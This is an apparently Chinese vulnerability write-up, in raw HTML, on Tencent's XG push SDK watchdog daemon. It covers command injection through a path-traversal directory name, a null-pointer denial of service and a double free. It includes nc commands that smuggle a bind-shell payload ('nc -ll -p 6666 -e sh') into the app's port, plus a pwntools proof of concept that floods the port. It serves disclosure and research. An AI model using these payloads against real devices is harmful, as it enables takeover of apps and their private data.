pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;"> public static int getRandomPort() {
        return XGWatchdog.getRandomInt(1000) + 55000;
    }</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">在我们实验手机上的监听端口为55362，启动进程为com.tencent.wework lib目录下的libtpnsWatchdog.so</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="839" class="" data-type="png" data-ratio="0.026221692491060787" src="https://wechat2rss.xlab.app/img-proxy/?k=ffe1dafc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3nsQeARJ1RAqQxXgjmDB1ricfNKl9yCTBRUurAU5WXwW0NMVdsRGKMug%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-type="png" class="" data-ratio="0.05365296803652968" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=ffa74447&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3cjDLAIY01M3qjwXxgsfPOC9v3BpkMu3SQF4og48tR6SeulDHTbAZPw%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">经过逆向分析，可发现这个开放端口支持一系列的文本命令，包括：</span></p><ul style=" margin-bottom: 28px; list-style-position: initial; list-style-image: initial; color: rgb(51, 51, 51) ; ; ; ; ; " class=" list-paddingleft-2"><li><p><span style="font-size: 16px;">“ver:”，获取版本号</span></p></li><li><p><span style="font-size: 16px;">“debug:1”，打开调试</span></p></li><li><p><span style="font-size: 16px;">“xgapplist:”,获取或设置使用信鸽的app</span></p></li><li><p><span style="font-size: 16px;">“tme:xxxx”，设置周期性启动服务的等待时间</span></p></li><li><p><span style="font-size: 16px;">”exit2:”，退出</span></p></li></ul><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">例如，发送debug:1，可获得当前手机上使用XG的app列表及当前启动服务的等待时间等信息，可见，手机上有四个app使用了该推送sdk。</span></p><pre class="lang:sh decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">echo -n “debug:1” |nc 192.168.8.187 55362</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="833" class="" data-type="png" data-ratio="0.2797118847539016" src="https://wechat2rss.xlab.app/img-proxy/?k=14c9c06b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3Y6fIyCYc1v7wKgicUys0rBYOYSClRwqyibjvTlcX2ta8Tuurga5QEfxA%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">当发送xgapplist:xxx，则可以设置当前使用信鸽的app。其中xxx的形式为 &lt;packagename1&gt;,&lt;accid1&gt;;&lt;packagename2&gt;,&lt;accid2&gt;...</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">接下来会通过fopen打开/data/data/&lt;packagename&gt;/lib目录来判断指定packagename的目录是否存在，如果存在，则会在后续使用该packagename，否则提示找不到该package。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="667" class="" data-type="png" data-ratio="0.8365817091454273" src="https://wechat2rss.xlab.app/img-proxy/?k=14175917&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3eja5AXanBJ2oxqrYz9yPNaLtChNiam7d3ZWmSibKevLkibTMEmIxTqFGQ%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">然后，程序会调用system通过am命令启动对应包内的XG组件，这里就使用了上面检查过的packagename.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="1139" class="" data-type="png" data-ratio="0.597892888498683" src="https://wechat2rss.xlab.app/img-proxy/?k=68b869f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3SIL6asgPlLyB39PLlvSKfaWxyT7qbx22vZ9dOoB7sKObicTSLTLGiabg%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">注意，上述两个system函数中的参数没有进行任何过滤。那么，我们结合上述两张图来看，如果恶意app满足</span></p><ol style=" margin-bottom: 28px; list-style-position: initial; list-style-image: initial; color: rgb(51, 51, 51) ; ; ; ; ; " class=" list-paddingleft-2"><li><p><span style="font-size: 16px;"><strong>能够设置一个存在且被XG Sdk可以访问的目录，</strong></span></p></li><li><p><span style="font-size: 16px;"><strong>目录名中嵌入执行的代码</strong></span></p></li></ol><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">那么就可以实现命令注入。对于条件1，可以通过../../../../路径穿越的形式跳转到恶意app可控的目录；而对于条件2，则可以利用shell特性，在可控目录下建立猥琐的“ || &lt;command&gt; #&#34;目录实现。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x02</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">漏洞利用</h1></section></section></section></section></section></section><p><br/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">（1）模拟恶意app在/sdcard目录建立一个特殊（猥琐）的目录名，除了“/“字符外，其他字符均可用。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="494" class="" data-type="png" data-ratio="0.20040485829959515" src="https://wechat2rss.xlab.app/img-proxy/?k=c993143d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3eWVQjEyLMuGhIQXPRvBo7W3vkb6AvhMryFm5uNk0GicOr6Xf8pI7qVA%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">于是我们有了了” &amp;&amp; nc -ll -p 6666 -e sh #”的目录，并在目录下存在子目录lib</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">（2）通过xgapplist命令设置推送app</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">如图，发送命令，</span></p><pre class="lang:sh decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">echo -n &#34;xgapplist:com.tencent.wework/../../../../../../sdcard/ &amp;&amp; nc -ll -p 6666 -e sh #,2100078991;&#34; | nc -vv 192.168.8.187 55362</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">观察logcat可以发现设置成功</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="1251" class="" data-type="png" data-ratio="0.09672262190247802" src="https://wechat2rss.xlab.app/img-proxy/?k=aca97805&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3bd17xGmjS2joAsLcNRH8XjcGF3u5K72TUTQYnncIuS4H0II3jjCcBg%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><br/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">（3）通过tme命令，使am命令周期性进行，进而触发后面的system函数，执行我们的反弹shell命令</span></p><pre class="lang:sh decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">echo -n “tme:12345” | nc -v 192.168.8.187 55362</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">稍等片刻，观察logcat的打印信息后，可以尝试连接shell，成功连接</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="1195" class="" data-type="png" data-ratio="0.0803347280334728" src="https://wechat2rss.xlab.app/img-proxy/?k=041c24ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO30L0J1PTqzxQ4O8Ffnb1ZuD6AU5hWicYgicjFmyUBptmkkDPSe5YYz5sw%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">u0_a113用户正好就是com.tencent.wework<br/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="883" class="" data-type="png" data-ratio="0.21177802944507362" src="https://wechat2rss.xlab.app/img-proxy/?k=b5b66d08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3gCAlDTNqxUM8WREmmfT0wGxa1FMc8yp9JZlVBXibTiadnN1G4hwIN8oQ%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">下面就可以以com.tencent.wework的权限做任何事情了，比如访问私有目录、打开保护的activity、发广播等等。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">漏洞是否能够远程</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">因为当时漏洞取名带有“远程”二字不够严谨，引发了厂商的争议。的确，从这个漏洞的成因来看，主要还是本地恶意app通过污染目录名，结合XG开放的端口，完成本地提权。但经瘦蛟舞的指点，可以考虑向受害者发送包含污染目录名的zip包（或者通过浏览器下载解压至/sdcard），然后结合XG监听端口的地址为任意地址，远程传入命令，进而实现远程命令执行，这种远程攻击相对难度较大，因为开放的端口为随机端口，攻击者也需要社工欺骗受害者接收zip包.</span></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x04</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">空指针解引用远程拒绝服务</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">当向XG监听端口发送xgapplist命令时，libtpnsWatchdog.so对后面的packagename和accid进行处理，但并没有检查“，”或“；“分割的字符串为空的情况，导致后面atoll函数去访问0地址的内存，造成空指针解引用crash。见如下代码：</span></p><pre class="lang:c decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">v1 = a1;
  if ( a1 )
  {
    j_j_memset(xgapplist, 0, 0x200u);
    first_app = j_j_strtok(v1, &#34;;&#34;);
    v3 = 0;
    v2 = first_app;
    while ( 1 )
    {
      len_of_applist = v3;
      if ( !v2 )
        break;
      v5 = j_j_strlen(v2);
      v6 = v5 + 1;
      v7 = (void *)j_operator new[](v5 + 1);
      xgapplist[len_of_applist] = v7;
      j_j_memcpy(v7, v2, v6);
      v2 = j_j_strtok(0, &#34;;&#34;);
      v3 = len_of_applist + 1;
    }
    for ( i = 0; i &lt; len_of_applist; ++i )
    {
      v8 = (char *)xgapplist[i];
      if ( v8 )
      {
        package = j_j_strtok(v8, &#34;,&#34;);
        accid = j_j_strtok(0, &#34;,&#34;);
        v11 = accid;
        v12 = j_j_atoll(accid); //null pointer dereference crash !!!!
        v27 = v12;</span></pre><p style="margin-bottom: 28px;"><span style="font-size: 16px;">向55362端口发送一个最简单的数据包，</span></p><pre class="lang:default decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">echo -n &#34;xgapplist:A&#34; | nc -v 192.168.8.169 55362</span></pre><p style="margin-bottom: 28px;"><span style="font-size: 16px;">使用logcat可观察到Oops：</span></p><p><img data-s="300,640" data-type="png" style="white-space: pre-wrap;" data-ratio="0.7714681440443213" data-w="722" src="https://wechat2rss.xlab.app/img-proxy/?k=25a5d55e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO34J1ia63c1TJOkU9TZWZuFpcm6IWr2neialt68zdVmVDgrEMmPJrLrwibg%2F0%3Fwx_fmt%3Dpng"/></p><h2 style=" clear: both; font-weight: 700; margin-top: 56px; margin-bottom: 28px; font-size: 29px; line-height: 1.2069; color: rgb(51, 51, 51) ; ; ; ; "><span style="font-size: 16px;"></span></h2><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x05</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">Double Free 内存破坏</h1></section></section></section></section></section></section><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><span style="font-size: 16px;"></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">仍然观察xgapplist命令，程序接收socket端口传入的命令xgapplist:&lt;packagename&gt;,&lt;accid&gt;;&lt;packgename2&gt;,&lt;accid2&gt;;...;&lt;packagenamen&gt;,&lt;accidn&gt;; 时，程序会对上述命令进行解析，分配xgappinfo对象，并依次将不重复的xgappinfo（使用XG SDK的app的信息）对象存入全局数组xgappinfo_list</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">xgappinfo占用16字节，为如下结构体</span></p><pre class="lang:c decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">struct xgappinfo {
    long accid,
    char* packgename,
    int  status
};</span></pre><p style="margin-bottom: 28px;"><span style="font-size: 16px;">如图</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"><img data-w="628" class="" data-type="png" data-ratio="0.7292993630573248" src="https://wechat2rss.xlab.app/img-proxy/?k=f2176d94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3WBOm1icjHpnDzu4Kxnl5wUqVTytRuznIhY7mzUBmzFCbvtJDaic6oPtQ%2F0%3Fwx_fmt%3Dpng"/></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">再来看下下面这段程序逻辑，</span></p><pre class="lang:c decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">void __fastcall sub_40056574(char *a1)
{
  ...
  int i; // [sp+24h] [bp-2Ch]@4
  unsigned __int64 v27; // [sp+28h] [bp-28h]@8
 
  v1 = a1;
  j_j_memset(dword_40060028, 0, 0x200u);
  v2 = j_j_strtok(v1, &#34;;&#34;);
  v3 = 0;
  v4 = v2;
  while ( 1 )
  {
    v25 = v3;
    if ( !v4 )
      break;
    v5 = j_j_strlen(v4);
    v6 = v5 + 1;
    v7 = (void *)j_operator new[](v5 + 1);
    dword_40060028[v25] = v7;
    j_j_memcpy(v7, v4, v6);
    v4 = j_j_strtok(0, &#34;;&#34;);
    v3 = v25 + 1;
  }
  for ( i = 0; i &lt; v25; ++i )
  {
    v8 = (char *)dword_40060028[i];
    if ( sub_4005651C(dword_40060028[i]) )
    {
      v9 = j_j_strtok(v8, &#34;,&#34;);
      v10 = j_j_strtok(0, &#34;,&#34;);
      v11 = v10;
      v12 = j_j_atoll(v10);
      v27 = v12;
      if ( v12 &lt;= 0x3B9AC9FF &amp;&amp; dword_4005D018 )
      {
        v23 = HIDWORD(v12);
        j_j___android_log_print(6, &#34;xguardian&#34;, &#34;error accessid:%llu&#34;);
      }
      if ( v9 &amp;&amp; v11 )
      {
        v13 = &amp;dword_4005E028;                  // xgapp_info结构体存储的起始地址
        for ( j = &amp;dword_4005E028; ; j = v15 )
        {
          v14 = (const char *)v13[2];
          v15 = v13;
          if ( !v14 )
            break;
          if ( !j_j_strcmp(v9, v14) )
          {
            *v13 = v27;
            v13[1] = HIDWORD(v27);
            v16 = 1;
            *((_BYTE *)v15 + 12) = 1;
            v15 = j;
            goto LABEL_22;
          }
          if ( *((_BYTE *)v13 + 12) )
            v15 = j;
          v13 += 4;
          if ( v13 == dword_40060028 )
            break;                              // 最多只能存储512个对象，每个对象占用16字节
        }
        v16 = 0;
LABEL_22:
        if ( dword_4005D018 )
          j_j___android_log_print(4, &#34;xguardian&#34;, &#34;found %d, pkgName:%s,accid:%s&#34;, v16, v9, v11);
        if ( !v16 &amp;&amp; sub_40055B98(v9) )
        {
          if ( dword_4005D018 )
            j_j___android_log_print(4, &#34;xguardian&#34;, &#34;try to add to the unstall list&#34;);
          v17 = j_j_strlen(v9) + 1;
          v18 = (void *)v15[2];
          if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);             
/ *
  * 这段存在问题，v18没有置为null。导致当循环到512个对象的时候，由于前面循环的限制，v18    还是指向第512个对象中在堆上分配的packagename的地址，此时v18会被delete。
                                              
当512以上的多个命令数据达到，需要有多个packagename需要添加时，由于并发处理，程序会在返回之前再次运行到此处，v18还是指向同一地址，由于v18已被delete，此时会再次delete一下，从而导致delete出错
 *
 */
            return;
          }
          v19 = (void *)j_operator new[](v17);
          v15[2] = (int)v19;
          j_j_memset(v19, 0, v17);
          j_j_memcpy((void *)v15[2], v9, v17);
          *(_BYTE *)(v15[2] + v17) = 0;
          v20 = j_j_atoll(v11);
          *((_BYTE *)v15 + 12) = 1;
          *(_QWORD *)v15 = v20;
          if ( dword_4005D018 )
            j_j___android_log_print(4, &#34;xguardian&#34;, &#34;add new unInfo pkgName:%s,accid:%llu&#34;, v15[2], v20);
        }
      }
    }
    v18 = (void *)dword_40060028[i];
    if ( v18 )
      goto j_j__ZdaPv;
  }
…</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">对通过socket端口传入的xgapplist命令的解析主要包括以下几个步骤：</span></p><ul style=" margin-bottom: 28px; list-style-position: initial; list-style-image: initial; color: rgb(51, 51, 51) ; ; ; ; ; " class=" list-paddingleft-2"><li><p><span style="font-size: 16px;">解析分号的分隔，获得每个xg app的信息；</span></p></li><li><p><span style="font-size: 16px;">解析逗号的分隔，获得xg app packagename和accid；</span></p></li><li><p><span style="font-size: 16px;">从0x4005E028开始，依次存储解析xgappinfo得到的结果，分别为accid、packagename、status，从而构成xgappinfo_list；</span></p></li><li><p><span style="font-size: 16px;">当再次传入xgapplist命令时，会将传入的packagename与已存储的packagename比较。如果不同，说明是新的packagename，则会在堆上分配地址存储，并将这个堆上分配的地址添加到xgappinfo_list中。如果相同，不进行添加。</span></p></li><li><p><span style="font-size: 16px;">最多只能添加到0x40060028这个地址，到这个地址会跳出循环，也就是最多只能添加(0x40060028-0x4005E028)/16=512个xgappinfo结构体</span></p></li></ul><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">注意下面这段代码</span></p><pre class="lang:c decode:true " style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">v18为下一个未分配区域的packagename，XG SDK认为如果不为空，则表明已在堆上分配，因此需要delete。然而测试表明，当添加xgappinfo超过512，为518、519等多个时（注意：并非超过1个），可以触发堆内存破坏。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">POC:</span></p><pre class="lang:python decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">from pwn import *
import sys
 
def open_connection():
    xg_daemon_server = &#34;192.168.8.158&#34;
    xg_listen_port = 55362
    conn = remote(xg_daemon_server, xg_listen_port)
    return conn
 
def send_debug():
    conn = open_connection()
    packet_debug = &#34;debug:1\n&#34;
    conn.send(packet_debug)
    print &#34;S:&#34;+packet_debug
    conn.close()
    exit(0)
 
def send_heap_overflow(n):
    conn = open_connection()
    packet_bound_overflow = &#34;xgapplist:../../../&#34;
    for i in range(n):
        packet_bound_overflow +=&#34;/&#34;
    packet_bound_overflow +=&#34;sdcard/, 2100178385\n&#34;
 
    print &#34;S: &#34;+packet_bound_overflow
    print &#34;%d bytes&#34; % len(packet_bound_overflow)
    conn.send(packet_bound_overflow)
    conn.close()
 
def send_normal_packet(packet):
    conn = open_connection()
    conn.send(packet)
    print &#34;S: &#34;+packet
    if (packet == &#34;ver:\n&#34;):
        print &#34;R: &#34;+ conn.recv()
    conn.close()
    exit(0)
 
def main():
    if (len(sys.argv) != 2):
        print &#34;&#34;&#34;
           %s &lt;packet_type&gt;
           1: send debug packet
           3: send heap overflow packet
           4: send normal ver: packet
           5: send normal tme:12345 packet
           6: send normal xgapplist: packet
        &#34;&#34;&#34; % sys.argv[0]
        exit(-1)
    if(sys.argv[1] == &#34;1&#34;):
        send_debug()
    elif(sys.argv[1] == &#34;3&#34;):
        for i in range(518):  //notice！
            send_heap_overflow(i)
            print i
        exit(0)
    elif(sys.argv[1] == &#34;4&#34;):
        send_normal_packet(&#34;ver:\n&#34;)
    elif(sys.argv[1] == &#34;5&#34;):
        send_normal_packet(&#34;tme:12345\n&#34;)
    elif(sys.argv[1] == &#34;6&#34;):
        send_normal_packet(&#34;xgapplist:\n&#34;)
    else:
        print &#34;unkown packet type! &#34;
 
 
if __name__ == &#34;__main__&#34;:
    main()</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">Logcat</span></p><p><img data-s="300,640" data-type="png" style="white-space: pre-wrap;" data-ratio="0.9696551724137931" data-w="725" src="https://wechat2rss.xlab.app/img-proxy/?k=be198f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3fzMzrToJiaAzlnbnZxrXNHmic40IEqJV4zSGDComOd5iace3skV6Bhlqg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">为什么513、514不能触发呢？这个问题一直没有分析得很清楚，因此也没有选择提交，直至厂商对前面两个漏洞进行修复，再次复现这个漏洞的难度加大。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">再次观察漏洞的触发位置，</span></p><pre class="lang:default decode:true " style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em ; ; ; ; ; ; ; ; ; "><span style="font-size: 16px;">if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">可以发现v18 被delete后并没有置为null，那么有没有可能v18会被delete多次呢？作为socket服务daemon，程序使用了epoll系统调用，<strong>因此可以猜想这是并发处理的原因。 </strong></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">在没有并发的情况下依次传入要添加的xgappinfo，在超过512个xgappinfo时，循环直接跳出，不会尝试添加这个xgappinfo，不会触及到下面delete所在的分支，这也是很长时间我通过调试很难复现该漏洞的原因。但如果存在并发，特别是在即将超过512个xgappinfo时，又传入了多个要添加的xgappinfo，那么由于并发处理，程序会同时尝试添加多个xgappinfo且不会认为超过了512个xgappinfo，此时v18均指向同一地址（即第512个对象中在堆上分配的packagename的地址），那么在v18被delete一次的情况下，紧接着会再次delete一下，从而导致delete出错。</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x06</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">后续</h1></section></section></section></section></section></section><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><span style="font-size: 16px;"></span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px; 